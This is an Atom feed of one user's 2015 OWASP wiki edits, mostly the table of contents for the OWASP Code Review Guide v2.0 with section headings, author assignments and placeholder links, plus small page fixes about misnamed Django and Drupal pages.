<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Luke+Plant</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Luke+Plant"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Luke_Plant"/>
		<updated>2026-05-28T10:32:56Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Code_Review_V2_Table_of_Contents&amp;diff=196359</id>
		<title>OWASP Code Review V2 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Code_Review_V2_Table_of_Contents&amp;diff=196359"/>
				<updated>2015-06-19T09:27:48Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Framework specific Issues */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= '''OWASP Code Review Guide v2.0:''' =&lt;br /&gt;
&lt;br /&gt;
==Forward==&lt;br /&gt;
# Author - Eoin Keary&lt;br /&gt;
# Previous version to be updated:[[https://www.owasp.org/index.php/Code_Review_Guide_History]]&lt;br /&gt;
'''[[CRV2_Forward|Content here]]'''&lt;br /&gt;
&lt;br /&gt;
== Code Review Guide Introduction==&lt;br /&gt;
# Author - Eoin Keary&lt;br /&gt;
# Previous version to be updated:[[https://www.owasp.org/index.php/Code_Review_Introduction]]&lt;br /&gt;
'''[[CRV2_Introduction|Content here]]'''&lt;br /&gt;
&lt;br /&gt;
=== What is source code review and Static Analysis ===&lt;br /&gt;
=== What is Code Review ===&lt;br /&gt;
# Author - Zyad Mghazli, Eoin Keary&lt;br /&gt;
# New Section&lt;br /&gt;
''' [[CRV2_WhatIsCodeReview|Content here]]'''&lt;br /&gt;
&lt;br /&gt;
=== Manual Review - Pros and Cons ===&lt;br /&gt;
# Author - Zyad Mghazli, Eoin Keary,Gary David Robinson&lt;br /&gt;
# New Section&lt;br /&gt;
# Suggestion: Benchmark of different Stataic Analysis Tools  Zyad Mghazli&lt;br /&gt;
# [[CRV2_ManualReviewProsCons|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== Advantages of Code Review to Development Practices ===&lt;br /&gt;
# Author - Gary David Robinson&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_AdvantagesToDevPractices|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== Why code review ===&lt;br /&gt;
==== Scope and Objective of secure code review ====&lt;br /&gt;
# Author - Ashish Rao&lt;br /&gt;
# [[CRV2_WhyCodeReview|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== We can't hack ourselves secure ===&lt;br /&gt;
# Author - Eoin Keary&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_CantHackSecure|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== 360 Review: Coupling source code review and Testing / Hybrid Reviews===&lt;br /&gt;
# Author - eoin Keary&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_360Review|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== Can static code analyzers do it all? ===&lt;br /&gt;
# Author - Ashish Rao&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_CanStaticAnalyzersDoAll|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Methodology=&lt;br /&gt;
===The code review approach===&lt;br /&gt;
#Author -  Johanna Curiel&lt;br /&gt;
# [[CRV2_CodeReviewApproach|Put content here]]&lt;br /&gt;
&lt;br /&gt;
==== Preparation and context ====&lt;br /&gt;
# Author - Gary David Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Preparation]]&lt;br /&gt;
# [[CRV2_PrepContext|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Application Threat Modeling====&lt;br /&gt;
#Author - Larry Conklin&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/OCRG1.1:Application_Threat_Modeling]]&lt;br /&gt;
# [[CRV2_AppThreatModeling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Understanding Code layout/Design/Architecture====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_CodeLayoutDesignArch|Put content here]]&lt;br /&gt;
====Understanding Business Logic====&lt;br /&gt;
#[[CRV2_BusinessLogic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===SDLC Integration===&lt;br /&gt;
#Author - Larry Conklin&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Security_Code_Review_in_the_SDLC]]&lt;br /&gt;
# [[CRV2_SDLCInt|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Deployment Models====&lt;br /&gt;
=====Secure deployment configurations=====&lt;br /&gt;
#Author - &lt;br /&gt;
# [[CRV2_SecDepConfig|Put content here]]&lt;br /&gt;
&lt;br /&gt;
# New Section&lt;br /&gt;
=====Metrics and code review=====&lt;br /&gt;
#Author -Anthony.Scotka@tea.state.tx.us&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Metrics]]&lt;br /&gt;
# [[CRV2_MetricsCodeRev|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Source and sink reviews=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_SourceSinkRev|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Code review Coverage=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
#Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Coverage]]&lt;br /&gt;
# [[CRV2_CodeRevCoverage|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Design Reviews=====&lt;br /&gt;
#Author - Ashish Rao&lt;br /&gt;
*Why to review design?&lt;br /&gt;
**Building security in design - secure by design principle&lt;br /&gt;
**Design Areas to be reviewed&lt;br /&gt;
**Common Design Flaws&lt;br /&gt;
# [[CRV2_DesignRev|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====A Risk based approach to code review=====&lt;br /&gt;
#Author - Gary David Robinson&lt;br /&gt;
#New Section&lt;br /&gt;
*&amp;quot;Doing things right or doing the right things...&amp;quot;&lt;br /&gt;
**&amp;quot;Not all bugs are equal&lt;br /&gt;
# [[CRV2_RiskBasedApproach|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Crawling code====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Crawling_Code]]&lt;br /&gt;
*API of Interest:&lt;br /&gt;
**Java&lt;br /&gt;
**.NET&lt;br /&gt;
**PHP&lt;br /&gt;
**RUBY&lt;br /&gt;
*Frameworks:&lt;br /&gt;
**Spring&lt;br /&gt;
**.NET MVC&lt;br /&gt;
**Struts&lt;br /&gt;
**Zend&lt;br /&gt;
#New Section&lt;br /&gt;
*Searching for code in C/C++&lt;br /&gt;
#Author - Gary David Robinson&lt;br /&gt;
&lt;br /&gt;
# [[CRV2_CrawlingCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Code reviews and Compliance====&lt;br /&gt;
#Author -Open&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Reviews_and_Compliance]]&lt;br /&gt;
# [[CRV2_CodeRevCompliance|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Reviewing by Technical Control=&lt;br /&gt;
===Reviewing code for Authentication controls===&lt;br /&gt;
#Author - Gary Robinson&lt;br /&gt;
# [[CRV2_AuthControls|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Forgot password====&lt;br /&gt;
#Author Abbas Naderi, Larry Conklin&lt;br /&gt;
# [[CRV2_ForgotPassword|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====CAPTCHA====&lt;br /&gt;
#Author Larry Conklin, Joan Renchie&lt;br /&gt;
'''[[CRV2_CAPTCHA|Content here]]'''&lt;br /&gt;
&lt;br /&gt;
====Out of Band considerations====&lt;br /&gt;
#Author - Gary Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Authentication]]&lt;br /&gt;
# [[CRV2_OutofBand|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code Authorization weakness===&lt;br /&gt;
#Author Eoin Keary .NET MVC added&lt;br /&gt;
# [[CRV2_AuthorizationWeaknesses|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Checking authz upon every request====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# [[CRV2_CheckAuthzEachRequest|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reducing the attack surface====&lt;br /&gt;
#Author Gary Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Authorization]]&lt;br /&gt;
# [[CRV2_ReducingAttSurf|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====SSL/TLS Implementations====&lt;br /&gt;
#Author - Eoin Keary&lt;br /&gt;
# [[CRV2_SSL-TLS|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing code for Session handling====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Session-Management]]&lt;br /&gt;
# [[CRV2_SessionHandling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing client side code====&lt;br /&gt;
#New Section&lt;br /&gt;
# [[CRV2_ClientSideCodeIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Javascript=====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# [[CRV2_ClientSideCodeJScript|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====JSON=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeJSon|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Content Security Policy=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeContSecPolicy|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====&amp;quot;Jacking&amp;quot;/Framing=====&lt;br /&gt;
#Author - Eoin  Keary&lt;br /&gt;
# [[CRV2_ClientSideCodeJackingFraming|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====HTML 5?=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeHTML5|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Browser Defenses=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeBrowserDefPol|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====etc...=====&lt;br /&gt;
&lt;br /&gt;
====Review code for input validation====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_InputValIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Regex Gotchas=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
#New Section&lt;br /&gt;
# [[CRV2_InputValRegexGotchas|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====ESAPI=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
#New Section&lt;br /&gt;
# Internal Link: [[https://www.owasp.org/index.php/Codereview-Input_Validation]]&lt;br /&gt;
# [[CRV2_InputValESAPI|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Microsoft Web Protection Library=====&lt;br /&gt;
#Author - Michael Hidalgo&lt;br /&gt;
#New Section&lt;br /&gt;
# Internal Link: [[https://www.owasp.org/index.php/Codereview-Input_Validation]]&lt;br /&gt;
# [[CRV2_InputValMicrosoftWebProtectionLibrary|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing code for contextual encoding====&lt;br /&gt;
[[Overall approach to content encoding and anti XSS]]&lt;br /&gt;
=====HTML Attribute=====&lt;br /&gt;
#Author - Eoin Keary&lt;br /&gt;
# [[CRV2_ContextEncHTMLAttribute|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====HTML Entity=====&lt;br /&gt;
#Author - Eoin Keary&lt;br /&gt;
# [[CRV2_ContextEncHTMLEntity|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Javascript Parameters=====&lt;br /&gt;
#Author - Eoin Keary&lt;br /&gt;
# [[CRV2_ContextEncJscriptParams|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====JQuery=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ContextEncJQuery|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing file and resource handling code====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FileResourceHandling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Resource Exhaustion - error handling====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ResourceExhaustionErrHandling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====native calls=====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_ResourceExhaustionNativeCalls|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Logging code - Detective Security====&lt;br /&gt;
#Author - Gary Robinson&lt;br /&gt;
* Where to Log&lt;br /&gt;
* What to log&lt;br /&gt;
* What not to log&lt;br /&gt;
* How to log&lt;br /&gt;
# Internal link: [[https://www.owasp.org/index.php/Logging_Cheat_Sheet]]&lt;br /&gt;
# [[CRV2_LoggingCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Error handling and Error messages====&lt;br /&gt;
#Author - Gary David Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Error-Handling]]&lt;br /&gt;
# [[CRV2_ErrorHandlingMessages|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Security alerts====&lt;br /&gt;
#Author - Gary Robinson&lt;br /&gt;
# [[CRV2_SecurityAlerts|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Review for active defense====&lt;br /&gt;
#Author - Colin Watson&lt;br /&gt;
# [[CRV2_ActiveDefense|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Secure Storage====&lt;br /&gt;
#Author - Open source&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_SecureStorage|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Hashing &amp;amp; Salting - When, How and Where====&lt;br /&gt;
=====Encryption=====&lt;br /&gt;
======.NET======&lt;br /&gt;
#Author Larry Conklin, Joan Renchie&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Cryptographic_Controls]]&lt;br /&gt;
*''Can we talk about key storage as well i.e. key management for encryption techniques used in the application? - Ashish Rao''&lt;br /&gt;
'''[[CRV2_HashingandSaltingdotNet|Content here]]'''&lt;br /&gt;
&lt;br /&gt;
=Reviewing by Vulnerability=&lt;br /&gt;
===Review Code for XSS===&lt;br /&gt;
#Author Examples added by Eoin Keary&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_Cross-Site_Scripting]]&lt;br /&gt;
# In reviewing code for XSS - we can give more patterns on &amp;quot;source to sink&amp;quot; patterns for ASP.NET wrf to difference versions and mechanisms to display data in a page - Ashish Rao&lt;br /&gt;
# [[CRV2_RevCodeXSS|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Persistent - The Anti pattern===&lt;br /&gt;
#Author &lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Johanna Curiel, Eoin Keary&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatterndotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.Java====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reflected - The Anti pattern===&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatterndotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.Java====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
# Author - Open&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternIRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Stored - The Anti pattern===&lt;br /&gt;
# Author - Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatterndotNET|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.Java====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author Johanna Curiel &lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
#Author - Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===DOM XSS ===&lt;br /&gt;
#Author Larry Conklin&lt;br /&gt;
# [[CRV2_DOMXSS|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===JQuery mistakes===&lt;br /&gt;
#Author &lt;br /&gt;
# [[CRV2_JQueryMistakes|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code for SQL Injection===&lt;br /&gt;
#Author Gary Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection]]&lt;br /&gt;
# [[CRV2_RevCodeSQLInjection|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author - Mennouchi Islam Azeddine&lt;br /&gt;
# [[CRV2_SQLInjPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Java====&lt;br /&gt;
#Author - Johanna Curiel&lt;br /&gt;
# [[CRV2_SQLInjJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_SQLInjdotNET|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====HQL====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_SQLInjHQL|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===The Anti pattern===&lt;br /&gt;
#Author Larry Conklin&lt;br /&gt;
#[[CRV2_AntiPattern| Content here]]&lt;br /&gt;
https://www.owasp.org/index.php/CRV2_AntiPattern&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author - &lt;br /&gt;
# [[CRV2_AntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Java====&lt;br /&gt;
#Author - &lt;br /&gt;
#=&amp;gt; Searching for traditional SQL,JPA,JPSQL,Criteria,...&lt;br /&gt;
# [[CRV2_AntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_AntiPatterndotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_AntiPatternRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Cold Fusion====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_AntiPatternColdFusion|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code for CSRF Issues===&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_Cross-Site_Request_Forgery]]&lt;br /&gt;
# This page needs to be deleted. [[CRV2_CSRFIssues|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===(This task has been deleted) Transactional logic / Non idempotent functions / State Changing Functions===&lt;br /&gt;
# [[CRV2_TransLogic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code for poor logic /Business logic/Complex authorization===&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_PoorLogic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing Secure Communications===&lt;br /&gt;
====.NET Config====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_SecCommsdotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Spring Config====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_SecCommsSpringConfig|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====HTTP Headers====&lt;br /&gt;
#Author Gary Robinson&lt;br /&gt;
# [[CRV2_SecCommsHTTPHdrs|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Tech-Stack pitfalls===&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_TechStackPitfalls|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Framework specific Issues===&lt;br /&gt;
====Spring====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesSpring|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Struts====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesStruts|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Drupal====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesDrupal|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby on Rails====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesROR|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Django====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesDjango|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET Security / MVC====&lt;br /&gt;
#Author Johanna Curiel, Eoin Keary&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesdotNetMVC|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Security in ASP.NET applications====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Strongly Named Assemblies=====&lt;br /&gt;
#Author Johanna Curiel, Larry Conklin&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetStrongAssembiles|Put content here]]&lt;br /&gt;
&lt;br /&gt;
======Round Tripping======&lt;br /&gt;
# Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetRT|Put content here]]&lt;br /&gt;
&lt;br /&gt;
======How to prevent Round tripping======&lt;br /&gt;
# Author - Open&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetRTPrevention|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Setting the right Configurations=====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetConfigs|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Authentication Options=====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetAuth|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Code Review for Managed Code - .Net 1.0 and up=====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetManagedCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Using OWASP Top 10 as your guideline=====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPTop10|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Code review for Unsafe Code (C#)=====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetUnsafeCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP Specific Issues====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Classic ASP====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPClassic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====C#====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesCsharp|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====C/C++====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesCplusplus|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Objective C====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesObectiveC|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Java====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Android====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesAndroid|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Coldfusion====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesColdfusion|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====CodeIgniter====&lt;br /&gt;
&lt;br /&gt;
# Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesCodeIgniter|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Security code review for Agile development=&lt;br /&gt;
#Author Carlos Pantelides&lt;br /&gt;
# [[CRV2_CodeReviewAgile|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Code Review Tools=&lt;br /&gt;
https://www.owasp.org/index.php/CRV2_CodeReviewTools&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_FrameworkSpecIssuesDjango&amp;diff=196358</id>
		<title>CRV2 FrameworkSpecIssuesDjango</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_FrameworkSpecIssuesDjango&amp;diff=196358"/>
				<updated>2015-06-19T09:27:17Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: This page was about Drupal, not Django&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_FrameworkSpecIssuesDurpal&amp;diff=196357</id>
		<title>CRV2 FrameworkSpecIssuesDurpal</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_FrameworkSpecIssuesDurpal&amp;diff=196357"/>
				<updated>2015-06-19T09:26:49Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;See [[CRV2_FrameworkSpecIssuesDrupal|Framework specific issues Drupal]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_FrameworkSpecIssuesDurpal&amp;diff=196356</id>
		<title>CRV2 FrameworkSpecIssuesDurpal</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_FrameworkSpecIssuesDurpal&amp;diff=196356"/>
				<updated>2015-06-19T09:23:53Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: Blanked the page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_FrameworkSpecIssuesDrupal&amp;diff=196355</id>
		<title>CRV2 FrameworkSpecIssuesDrupal</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_FrameworkSpecIssuesDrupal&amp;diff=196355"/>
				<updated>2015-06-19T09:23:16Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: This was copied from CRV2_FrameworkSpecIssuesDjango which was actually about Drupal, There is also a 'Durpal' page which is a typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
Drupal is a open-source content-management. It contains features common to content management systems, including user account registration and maintenance, menu management, RSS feeds, taxonomy, page layout customization, and system administration.&lt;br /&gt;
&lt;br /&gt;
